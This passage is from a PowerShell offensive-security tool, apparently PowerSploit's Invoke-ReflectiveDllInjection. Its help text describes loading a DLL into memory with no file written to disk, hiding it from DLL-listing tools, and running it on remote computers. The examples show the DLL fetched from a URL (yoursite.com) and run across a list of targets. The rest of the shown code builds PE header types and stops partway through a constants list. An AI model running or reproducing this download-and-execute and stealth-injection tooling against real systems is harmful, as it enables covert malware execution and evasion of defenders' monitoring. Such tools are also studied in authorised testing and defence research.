Function Invoke-ReflectiveDllInjection { <# .SYNOPSIS Reflectively loads a DLL in to memory of the Powershell process. Because the DLL is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. This tool can be run on remote servers by supplying a local DLL to load in to memory on the remote system, this will load and execute the DLL in to memory without writing any files to disk. PowerSploit Function: Invoke-ReflectiveDllInjection Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Reflectively loads a DLL in to the powershell process. .PARAMETER DllPath The path of the DLL to load and execute a function from. .PARAMETER DllUrl A URL to download the DLL from .PARAMETER ComputerName Optional, an array of computernames to run the script on .PARAMETER FuncReturnType Optional, the return type of the function being called in the DLL. Default: Void Options: String, WString, Void. See notes for more information. .EXAMPLE Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). Note that the file name on the website can be any file extension. Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString .EXAMPLE Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). Invoke-ReflectiveDllInjection -DllPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local .EXAMPLE Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print the wchar_t* returned by WStringFunc() from all the computers. Invoke-ReflectiveDllInjection -DllPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) .NOTES Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: wchar_t* : FuncReturnType = WString char* : FuncReturnType = String void : Default, don't supply a FuncReturnType For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. The function name expected in the DLL for the prewritten FuncReturnType's is as follows: WString : WStringFunc String : StringFunc Void : VoidFunc These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would be declared as follows: extern "C" __declspec( dllexport ) wchar_t* WStringFunc() If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection .LINK http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection #> [CmdletBinding(DefaultParameterSetName="WebFile")] Param( [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] [String] $DllPath, [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] [Uri] $DllUrl, [Parameter(Position = 1)] [String[]] $ComputerName, [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] [String] $FuncReturnType = 'Void' ) Set-StrictMode -Version 2 $RemoteScriptBlock = { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $DllBytes, [Parameter(Position = 1, Mandatory = $false)] [String] $FuncReturnType ) ################################### ########## Win32 Stuff ########## ################################### Function Get-Win32Types { $Win32Types = New-Object System.Object #Define all the structures/enums that will be used # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html $Domain = [AppDomain]::CurrentDomain $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] ############ ENUM ############ #Enum MachineType $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null $MachineType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType #Enum MagicType $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null $MagicType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType #Enum SubSystemType $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null $SubSystemType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType #Enum DllCharacteristicsType $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null $DllCharacteristicsType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType ########### STRUCT ########### #Struct IMAGE_DATA_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY #Struct IMAGE_FILE_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER #Struct IMAGE_OPTIONAL_HEADER64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 #Struct IMAGE_OPTIONAL_HEADER32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 #Struct IMAGE_NT_HEADERS64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 #Struct IMAGE_NT_HEADERS32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 #Struct IMAGE_DOS_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) $e_resField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) $e_res2Field.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER #Struct IMAGE_SECTION_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) $nameField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER #Struct IMAGE_BASE_RELOCATION $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION #Struct IMAGE_IMPORT_DESCRIPTOR $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR #Struct IMAGE_EXPORT_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY return $Win32Types } Function Get-Win32Constants { $Win32Constants = New-Object System.Object $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name 